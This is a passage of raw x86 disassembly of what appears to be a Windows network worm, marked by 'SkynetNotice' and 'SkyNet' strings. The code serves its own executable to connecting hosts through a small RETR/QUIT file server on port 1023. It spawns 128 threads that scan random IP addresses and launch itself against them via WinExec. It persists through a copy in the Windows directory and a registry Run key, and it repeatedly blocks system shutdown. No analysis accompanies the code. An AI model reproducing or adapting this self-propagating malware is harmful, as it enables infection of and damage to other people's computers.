loc_401C8B: ; CODE XREF: sub_401B59:loc_401C7Fj
cmp edi, 5
jnz short loc_401C9F
push ebx
call sub_401E8B
pop ecx
mov [ebp+var_14], eax
jmp short loc_401C9F
; ---------------------------------------------------------------------------
loc_401C9C: ; CODE XREF: sub_401B59+111j
push 6
pop edi
loc_401C9F: ; CODE XREF: sub_401B59+135j
; sub_401B59+141j
lea eax, [ebp+var_4]
push eax
push 0
call sub_402770
inc edi
pop ecx
cmp edi, 6
pop ecx
mov ebx, eax
jl short loc_401C68
push [ebp+var_2C]
mov edi, [ebp+var_18]
lea eax, [ebp+var_60]
push [ebp+var_30]
shl edi, 8
push [ebp+var_34]
add edi, [ebp+var_14]
push [ebp+var_38]
push offset aI_I_I_I ; "%i.%i.%i.%i"
push eax
call ds:dword_4050F0 ; wsprintfA
add esp, 18h
push 0
push ds:off_4068E0
call sub_402300
pop ecx
push eax
push ds:off_4068E0
jmp loc_401E32
; ---------------------------------------------------------------------------
loc_401CF5: ; CODE XREF: sub_401B59+D5j
lea eax, [ebp+var_4E4]
push offset aRetr ; "RETR"
push eax
call sub_4026F0
pop ecx
test eax, eax
pop ecx
jz loc_401E37
push 0
push ds:off_4068E4
call sub_402300
pop ecx
push eax
push ds:off_4068E4
push ebx
call esi ; send
lea eax, [ebp+var_60]
push eax
call sub_4011D5
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_401E14
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_4022A0
add esp, 0Ch
mov [ebp+var_28], 2
push edi
call ds:dword_40511C ; htons
push 0
push 1
push 2
mov [ebp+var_26], ax
mov [ebp+var_24], ebx
call ds:dword_405120 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [ebp+var_C], ebx
jz loc_401E14
lea eax, [ebp+var_28]
push 10h
push eax
push ebx
call ds:dword_405124 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401D95
push ebx
call ds:dword_405128 ; closesocket
jmp short loc_401E14
; ---------------------------------------------------------------------------
loc_401D95: ; CODE XREF: sub_401B59+231j
lea eax, [ebp+var_8E4]
push 400h
push eax
push 0
call ds:dword_405038 ; GetModuleFileNameA
lea eax, [ebp+var_8E4]
push 0
push eax
call ds:dword_405034 ; _lopen
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jz short loc_401E14
lea eax, [ebp+var_2]
push offset dword_4070C8
push eax
call sub_402810
mov ebx, ds:dword_405030
pop ecx
pop ecx
lea eax, [ebp+var_2]
push 1
push eax
push [ebp+var_8]
loc_401DDF: ; CODE XREF: sub_401B59+2A6j
call ebx ; _hread
cmp eax, 1
jnz short loc_401E01
and [ebp+var_1], 0
push 0
push eax
lea eax, [ebp+var_2]
push eax
push [ebp+var_C]
call esi ; send
lea eax, [ebp+var_2]
push 1
push eax
push [ebp+var_8]
jmp short loc_401DDF
; ---------------------------------------------------------------------------
loc_401E01: ; CODE XREF: sub_401B59+28Bj
push [ebp+var_8]
call ds:dword_40501C ; _lclose
lea eax, [ebp+var_60]
push eax
call sub_401210
pop ecx
loc_401E14: ; CODE XREF: sub_401B59+1DDj
; sub_401B59+21Bj ...
push [ebp+var_C]
call ds:dword_405128 ; closesocket
push 0
push ds:off_4068DC
call sub_402300
pop ecx
push eax
push ds:off_4068DC
loc_401E32: ; CODE XREF: sub_401B59+197j
push [ebp+arg_0]
jmp short loc_401E6D
; ---------------------------------------------------------------------------
loc_401E37: ; CODE XREF: sub_401B59+1B1j
lea eax, [ebp+var_4E4]
push offset aQuit ; "QUIT"
push eax
call sub_4026F0
pop ecx
test eax, eax
pop ecx
jz short loc_401E57
push ebx
call ds:dword_405128 ; closesocket
jmp short loc_401E6F
; ---------------------------------------------------------------------------
loc_401E57: ; CODE XREF: sub_401B59+2F3j
push 0
push ds:off_4068DC
call sub_402300
pop ecx
push eax
push ds:off_4068DC
loc_401E6C: ; CODE XREF: sub_401B59+8Aj
; sub_401B59+BBj
push ebx
loc_401E6D: ; CODE XREF: sub_401B59+2DCj
call esi ; send
loc_401E6F: ; CODE XREF: sub_401B59+2FCj
cmp [ebp+var_10], 0
jg loc_401B94
push [ebp+arg_0]
call ds:dword_405128 ; closesocket
pop edi
pop esi
loc_401E84: ; CODE XREF: sub_401B59+10j
xor eax, eax
pop ebx
leave
retn 4
sub_401B59 endp
; =============== S U B R O U T I N E =======================================
sub_401E8B proc near ; CODE XREF: sub_401B59+119p
; sub_401B59+129p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
loc_401E93: ; CODE XREF: sub_401E8B+13j
mov al, [esi]
cmp al, 20h
jz short loc_401E9D
cmp al, 9
jnz short loc_401EA0
loc_401E9D: ; CODE XREF: sub_401E8B+Cj
inc esi
jmp short loc_401E93
; ---------------------------------------------------------------------------
loc_401EA0: ; CODE XREF: sub_401E8B+10j
; sub_401E8B+2Ej
movsx eax, byte ptr [esi]
push eax
call sub_402900
test eax, eax
pop ecx
jz short loc_401EBB
movsx ecx, byte ptr [esi]
lea eax, [edi+edi*4]
inc esi
lea edi, [ecx+eax*2-30h]
jmp short loc_401EA0
; ---------------------------------------------------------------------------
loc_401EBB: ; CODE XREF: sub_401E8B+21j
mov eax, edi
pop edi
pop esi
retn
sub_401E8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401EC0 proc near ; DATA XREF: sub_4020D9+6Eo
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push esi
xor esi, esi
push edi
push esi
push 1
push 2
call ds:dword_405120 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_401EE4
loc_401EDC: ; CODE XREF: sub_401EC0+63j
pop edi
xor eax, eax
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_401EE4: ; CODE XREF: sub_401EC0+1Aj
push 3FFh
mov [ebp+var_14], 2
call ds:dword_40511C ; htons
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
mov [ebp+var_10], esi
call ds:dword_405108 ; bind
cmp eax, 0FFFFFFFFh
jz short loc_401F1C
push 5
push edi
call ds:dword_40510C ; listen
cmp eax, 0FFFFFFFFh
jnz short loc_401F25
loc_401F1C: ; CODE XREF: sub_401EC0+4Cj
push edi
call ds:dword_405128 ; closesocket
jmp short loc_401EDC
; ---------------------------------------------------------------------------
loc_401F25: ; CODE XREF: sub_401EC0+5Aj
; sub_401EC0+89j
push esi
push esi
push edi
call ds:dword_405110 ; accept
lea ecx, [ebp+var_4]
push ecx
push esi
push eax
push offset sub_401B59
push esi
push esi
call ds:dword_40503C ; CreateThread
push 19h
call ds:dword_40502C ; Sleep
jmp short loc_401F25
sub_401EC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_401F4B proc near ; DATA XREF: sub_4020D9+82o
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = byte ptr -454h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_400 = byte ptr -400h
sub esp, 45Ch
push ebx
push ebp
push esi
push edi
push 0FFFFFFFFh
call ds:dword_405048 ; GetCurrentThread
push eax
call ds:dword_405044 ; SetThreadPriority
loc_401F64: ; CODE XREF: sub_401F4B+37j
xor esi, esi
lea eax, [esp+46Ch+var_458]
push esi
push eax
mov [esp+474h+var_458], esi
call ds:dword_4050FC ; InternetGetConnectedState
cmp eax, esi
jnz short loc_401F84
push 19h
call ds:dword_40502C ; Sleep
jmp short loc_401F64
; ---------------------------------------------------------------------------
loc_401F84: ; CODE XREF: sub_401F4B+2Dj
lea eax, [esp+46Ch+var_438]
push eax
call sub_4010D2
pop ecx
lea eax, [esp+46Ch+var_438]
push eax
call ds:dword_405134 ; inet_addr
movsx ebp, al
movsx eax, ah
mov [esp+46Ch+var_45C], eax
cmp ebp, esi
mov eax, 100h
jge short loc_401FAF
add ebp, eax
loc_401FAF: ; CODE XREF: sub_401F4B+60j
cmp [esp+46Ch+var_45C], esi
jge short loc_401FB9
add [esp+46Ch+var_45C], eax
loc_401FB9: ; CODE XREF: sub_401F4B+68j
mov edi, ds:dword_4050F0
mov esi, 0FFh
mov ebx, offset aI_I_I_I ; "%i.%i.%i.%i"
loc_401FC9: ; CODE XREF: sub_401F4B+189j
call sub_401000
push 1Fh
cdq
pop ecx
idiv ecx
cmp edx, 0Fh
jle short loc_402029
call sub_401000
push 1Fh
cdq
pop ecx
idiv ecx
cmp edx, 0Fh
jle short loc_40200C
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
jmp short loc_402026
; ---------------------------------------------------------------------------
loc_40200C: ; CODE XREF: sub_401F4B+9Cj
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
push [esp+474h+var_45C]
loc_402026: ; CODE XREF: sub_401F4B+BFj
push ebp
jmp short loc_402055
; ---------------------------------------------------------------------------
loc_402029: ; CODE XREF: sub_401F4B+8Cj
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
loc_402055: ; CODE XREF: sub_401F4B+DCj
lea eax, [esp+47Ch+var_454]
push ebx
push eax
call edi ; wsprintfA
add esp, 18h
lea eax, [esp+468h+var_450]
push 3E8h
push eax
call ds:dword_405134 ; inet_addr
push eax
call sub_401B1B
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4020CC
lea eax, [esp+46Ch+var_454]
push eax
call sub_401153
cmp al, 1
pop ecx
jnz short loc_4020CC
lea eax, [esp+46Ch+var_400]
push 400h
push eax
push 0
call ds:dword_405038 ; GetModuleFileNameA
lea eax, [esp+46Ch+var_400]
push offset asc_406A84 ; " "
push eax
call sub_402820
lea eax, [esp+474h+var_454]
push eax
lea eax, [esp+478h+var_400]
push eax
call sub_402820
add esp, 10h
lea eax, [esp+46Ch+var_400]
push 0
push eax
call ds:dword_405040 ; WinExec
loc_4020CC: ; CODE XREF: sub_401F4B+130j
; sub_401F4B+13Fj
push 19h
call ds:dword_40502C ; Sleep
jmp loc_401FC9
sub_401F4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020D9 proc near ; CODE XREF: sub_40292E+C9p
var_14 = dword ptr -14h
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
call ds:dword_405054 ; GetTickCount
push eax
call sub_40101E
call sub_401028
push [ebp+arg_8]
call sub_402300
pop ecx
test eax, eax
pop ecx
jbe short loc_40210D
push [ebp+arg_8]
call sub_401A69
pop ecx
push 1
pop eax
locret_402109: ; CODE XREF: sub_4020D9+5Fj
leave
retn 10h
; ---------------------------------------------------------------------------
loc_40210D: ; CODE XREF: sub_4020D9+22j
push esi
push edi
push 1
call sub_40219B
xor esi, esi
mov [esp+14h+var_14], offset aSkynetnotice ; "SkynetNotice"
push esi
push esi
call ds:dword_405050 ; CreateMutexA
call ds:dword_40504C ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_40213A
pop edi
xor eax, eax
pop esi
jmp short locret_402109
; ---------------------------------------------------------------------------
loc_40213A: ; CODE XREF: sub_4020D9+59j
mov edi, ds:dword_40503C
lea eax, [ebp+var_4]
push ebx
push eax
push esi
push esi
push offset sub_401EC0
push esi
push esi
call edi ; CreateThread
mov ebx, 80h
loc_402155: ; CODE XREF: sub_4020D9+8Cj
lea eax, [ebp+var_8]
push eax
push esi
push esi
push offset sub_401F4B
push esi
push esi
call edi ; CreateThread
dec ebx
jnz short loc_402155
xor edi, edi
pop ebx
loc_40216A: ; CODE XREF: sub_4020D9+AAj
; sub_4020D9+C0j
push esi
call ds:dword_405008 ; AbortSystemShutdownA
push 3E8h
call ds:dword_40502C ; Sleep
inc edi
cmp edi, 1C20h
jle short loc_40216A
push esi
push offset aSkynet ; "SkyNet"
push offset a1_YourComputer ; "1. Your computer is affected by the MS0"...
push esi
xor edi, edi
call ds:dword_4050F4 ; MessageBoxA
jmp short loc_40216A
sub_4020D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40219B proc near ; CODE XREF: sub_4020D9+38p
var_824 = byte ptr -824h
var_425 = byte ptr -425h
var_424 = byte ptr -424h
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 824h
push esi
mov esi, 400h
push edi
lea eax, [ebp+var_824]
push esi
push eax
push 0
call ds:dword_405038 ; GetModuleFileNameA
lea eax, [ebp+var_424]
push esi
push eax
call ds:dword_40505C ; GetWindowsDirectoryA
lea eax, [ebp+var_424]
push eax
call sub_402300
cmp [ebp+eax+var_425], 5Ch
pop ecx
jz short loc_4021F3
lea eax, [ebp+var_424]
push offset asc_406C50 ; "\\"
push eax
call sub_402820
pop ecx
pop ecx
loc_4021F3: ; CODE XREF: sub_40219B+43j
push ds:off_4068C8
lea eax, [ebp+var_424]
push eax
call sub_402820
cmp [ebp+arg_0], 0
pop ecx
pop ecx
jz short loc_402223
lea eax, [ebp+var_424]
push 0
push eax
lea eax, [ebp+var_824]
push eax
call ds:dword_405058 ; CopyFileA
loc_402223: ; CODE XREF: sub_40219B+70j
lea eax, [ebp+var_4]
mov esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push eax
push esi
push 80000002h
call ds:dword_40500C ; RegOpenKeyA
lea eax, [ebp+var_424]
push eax
call sub_402300
pop ecx
push eax
lea eax, [ebp+var_424]
push eax
push 1
push 0
push ds:off_4068C8
push [ebp+var_4]
call ds:dword_405004 ; RegSetValueExA
push [ebp+var_4]
call ds:dword_405000 ; RegCloseKey
push offset aSsgrate_exe ; "ssgrate.exe"
mov edi, 80000001h
push esi
push edi
call sub_401AED
push offset aDrvsys_exe ; "drvsys.exe"
push esi
push edi
call sub_401AED
push offset aDrvddll_exe ; "Drvddll_exe"
push esi
push edi
call sub_401AED
add esp, 24h
pop edi
pop esi
leave
retn
sub_40219B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4022A0 proc near ; CODE XREF: sub_401153+10p
; sub_401153+40p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4022F3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4022E7
neg ecx
and ecx, 3
jz short loc_4022C9
sub edx, ecx
loc_4022C3: ; CODE XREF: sub_4022A0+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4022C3
loc_4022C9: ; CODE XREF: sub_4022A0+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4022E7
rep stosd
test edx, edx
jz short loc_4022ED
loc_4022E7: ; CODE XREF: sub_4022A0+18j
; sub_4022A0+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4022E7
loc_4022ED: ; CODE XREF: sub_4022A0+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4022F3: ; CODE XREF: sub_4022A0+Aj
mov eax, [esp+arg_0]
retn
sub_4022A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402300 proc near ; CODE XREF: sub_401210+2Cp
; sub_401210+46p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_402320
loc_40230C: ; CODE XREF: sub_402300+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_402353
test ecx, 3
jnz short loc_40230C
add eax, 0
loc_402320: ; CODE XREF: sub_402300+Aj
; sub_402300+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_402320
mov eax, [ecx-4]
test al, al
jz short loc_402371
test ah, ah
jz short loc_402367
test eax, 0FF0000h
jz short loc_40235D
test eax, 0FF000000h
jz short loc_402353
jmp short loc_402320
; ---------------------------------------------------------------------------
loc_402353: ; CODE XREF: sub_402300+11j
; sub_402300+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40235D: ; CODE XREF: sub_402300+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_402367: ; CODE XREF: sub_402300+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_402371: ; CODE XREF: sub_402300+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_402300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402380 proc near ; CODE XREF: sub_40137D+59p
; sub_40137D+78p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4023A0
cmp edi, eax
jb loc_402518
loc_4023A0: ; CODE XREF: sub_402380+16j
test edi, 3
jnz short loc_4023BC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4023DC
rep movsd
jmp ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
loc_4023BC: ; CODE XREF: sub_402380+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4023D4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_4023DC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4023D4: ; CODE XREF: sub_402380+46j
jmp dword ptr ds:loc_4024D8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4023DC: ; CODE XREF: sub_402380+31j
; sub_402380+8Ej ...
jmp ds:off_40245C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4023F0
dd offset loc_40241C
dd offset loc_402440
; ---------------------------------------------------------------------------
loc_4023F0: ; DATA XREF: sub_402380+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4023DC
rep movsd
jmp ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40241C: ; DATA XREF: sub_402380+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4023DC
rep movsd
jmp ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_402440: ; DATA XREF: sub_402380+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4023DC
rep movsd
jmp ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40245C dd offset loc_4024BF ; DATA XREF: sub_402380:loc_4023DCr
dd offset loc_4024AC
dd offset loc_4024A4
dd offset loc_40249C
dd offset loc_402494
dd offset loc_40248C
dd offset loc_402484
dd offset loc_40247C
; ---------------------------------------------------------------------------
loc_40247C: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_402484: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40248C: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_402494: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_40249C: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4024A4: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4024AC: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4024BF: ; CODE XREF: sub_402380:loc_4023DCj
; DATA XREF: sub_402380:off_40245Co
jmp ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4024C8 dd offset loc_4024D8 ; DATA XREF: sub_402380+35r
; sub_402380+92r ...
dd offset loc_4024E0
dd offset loc_4024EC
dd offset loc_402500
; ---------------------------------------------------------------------------
loc_4024D8: ; CODE XREF: sub_402380+35j
; sub_402380+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4024E0: ; CODE XREF: sub_402380+35j
; sub_402380+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4024EC: ; CODE XREF: sub_402380+35j
; sub_402380+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_402500: ; CODE XREF: sub_402380+35j
; sub_402380+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_402518: ; CODE XREF: sub_402380+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40254C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_402540
std
rep movsd
cld
jmp ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_402540: ; CODE XREF: sub_402380+1B1j
; sub_402380+208j ...
neg ecx
jmp ds:off_402610[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40254C: ; CODE XREF: sub_402380+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_402564
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_402564+4[eax*4]
; ---------------------------------------------------------------------------
loc_402564: ; CODE XREF: sub_402380+1D6j
; DATA XREF: sub_402380+1DDr
jmp ds:off_402660[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_402577+1
; ---------------------------------------------------------------------------
cwde
and eax, 25C00040h
inc eax
loc_402577: ; DATA XREF: sub_402380+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_402540
std
rep movsd
cld
jmp ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_402540
std
rep movsd
cld
jmp ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_402540
std
rep movsd
cld
jmp ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_402614
dd offset loc_40261C
dd offset loc_402624
dd offset loc_40262C
dd offset loc_402634
dd offset loc_40263C
dd offset loc_402644
off_402610 dd offset loc_402657 ; DATA XREF: sub_402380+1C2r
; ---------------------------------------------------------------------------
loc_402614: ; DATA XREF: sub_402380+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_40261C: ; DATA XREF: sub_402380+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_402624: ; DATA XREF: sub_402380+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_40262C: ; DATA XREF: sub_402380+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_402634: ; DATA XREF: sub_402380+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_40263C: ; DATA XREF: sub_402380+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_402644: ; DATA XREF: sub_402380+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_402657: ; CODE XREF: sub_402380+1C2j
; DATA XREF: sub_402380:off_402610o
jmp ds:off_402660[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_402660 dd offset loc_402670 ; DATA XREF: sub_402380+1B7r
; sub_402380:loc_402564r ...
dd offset loc_402678
dd offset loc_402688
dd offset loc_40269C
; ---------------------------------------------------------------------------
loc_402670: ; CODE XREF: sub_402380+1B7j
; sub_402380:loc_402564j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_402678: ; CODE XREF: sub_402380+1B7j
; sub_402380:loc_402564j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_402688: ; CODE XREF: sub_402380+1B7j
; sub_402380:loc_402564j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40269C: ; CODE XREF: sub_402380+1B7j
; sub_402380:loc_402564j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_402380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4026C0 proc near ; CODE XREF: sub_401583+8p
; sub_40380C+DFp ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_4026E0
loc_4026CC: ; CODE XREF: sub_4026C0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_4026CC
loc_4026E0: ; CODE XREF: sub_4026C0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_4026C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4026F0 proc near ; CODE XREF: sub_401A69+2Dp
; sub_401A69+50p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_40276A
mov dh, [ecx+1]
test dh, dh
jz short loc_402757
loc_402708: ; CODE XREF: sub_4026F0+52j
; sub_4026F0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_40272A
test al, al
jz short loc_402724
loc_402719: ; CODE XREF: sub_4026F0+32j
mov al, [esi]
inc esi
loc_40271C: ; CODE XREF: sub_4026F0+3Fj
cmp al, dl
jz short loc_40272A
test al, al
jnz short loc_402719
loc_402724: ; CODE XREF: sub_4026F0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40272A: ; CODE XREF: sub_4026F0+23j
; sub_4026F0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_40271C
lea edi, [esi-1]
loc_402734: ; CODE XREF: sub_4026F0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_402763
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_402708
mov al, [ecx+3]
test al, al
jz short loc_402763
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_402734
jmp short loc_402708
; ---------------------------------------------------------------------------
loc_402757: ; CODE XREF: sub_4026F0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp sub_402A86
; ---------------------------------------------------------------------------
loc_402763: ; CODE XREF: sub_4026F0+49j
; sub_4026F0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_40276A: ; CODE XREF: sub_4026F0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_4026F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402770 proc near ; CODE XREF: sub_401B59+103p
; sub_401B59+14Cp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
